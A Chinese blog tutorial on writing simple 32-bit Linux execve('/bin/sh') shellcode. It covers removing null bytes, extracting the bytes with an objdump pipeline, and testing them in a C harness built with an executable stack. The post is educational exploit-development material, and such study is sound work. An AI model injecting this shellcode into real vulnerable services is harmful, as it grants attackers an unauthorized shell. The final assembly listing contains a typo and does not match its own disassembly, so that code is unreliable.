【pwn学习】pwn中的简单shellcode

编写简单的shellcode

在linux32位系统中,最简单的获取shell的方式是通过系统调用execve获得

execve('/bin/sh',0,0);

写成汇编的话如下:

global _start
_start:
        xor edx, edx
       	xor ecx, ecx
        push '/sh'
        push '/bin'
        mov ebx, esp
        mov eax, 0xb
        int 80h

编译执行后即可获得shell。利用objdump可以查看机器码

root@ubuntu:~/shellcode$ objdump -d shell

shell:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:	31 d2                	xor    %edx,%edx
 8049002:	31 c9                	xor    %ecx,%ecx
 8049004:	68 2f 73 68 00       	push   $0x68732f
 8049009:	68 2f 62 69 6e       	push   $0x6e69622f
 804900e:	89 e3                	mov    %esp,%ebx
 8049010:	b8 0b 00 00 00       	mov    $0xb,%eax
 8049015:	cd 80                	int    $0x80

依然可以成功获取shell,但是利用时,由于机器码中包含\x00,因此向服务器传递shellcode字符串的时候会被截断,不能利用成功。

shell中有两处包含\x00,一处是 mov eax, 0xb,这里我们利用mov al, 0xb代替,就可以去除坏字符了。当然在利用环境下,还需要在这一句之前添加xor eax, eax来将eax高位置0。

另一处是push '/sh'这里系统在处理的时候在末位添加了\x00(为什么?). 我们可以使用//sh来替换/sh,这是因为/bin/sh/bin//sh是等价的。但是这样处理后,没有\x00截断,机器无法识别字符串的结尾,因此还有在这句之前向栈中插入一个空字符。最终的shellcode如下所示

global _start
_start:
        xor edx, edx
       	xor ecx, ecx
       	xor eax. eax
       	push eax
        push '//sh'
        push '/bin'
        mov ebx, esp
        mov eax, 0xb
        int 80h

再次利用objdump查看机器码,此时已没有坏字符。

morphy@ubuntu:~/study/pwn/shellcode$ objdump -d shell2

shell2:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:	31 c9                	xor    %ecx,%ecx
 8049002:	31 d2                	xor    %edx,%edx
 8049004:	31 c0                	xor    %eax,%eax
 8049006:	50                   	push   %eax
 8049007:	68 2f 2f 73 68       	push   $0x68732f2f
 804900c:	68 2f 62 69 6e       	push   $0x6e69622f
 8049011:	89 e3                	mov    %esp,%ebx
 8049013:	b0 0b                	mov    $0xb,%al
 8049015:	cd 80                	int    $0x80

提取shellcode二进制

假设要提取的shellcode文件是shell

root@ubuntu: ~$ objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: | cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

验证shellcode

可以使用如下代码验证shellcode是否可以运行,替换code[]的值为二进制的shellcode即可

/*shellcodetest.c*/
char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
root@ubuntu:~$ gcc -m32 -o shellcodetest -g shellcodetest.c -z execstack
root@ubuntu:~$ ./shellcodetest

后续学习

后续通过 shell-storm这个网站里的shellcode来学习不同的shellcode编写。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值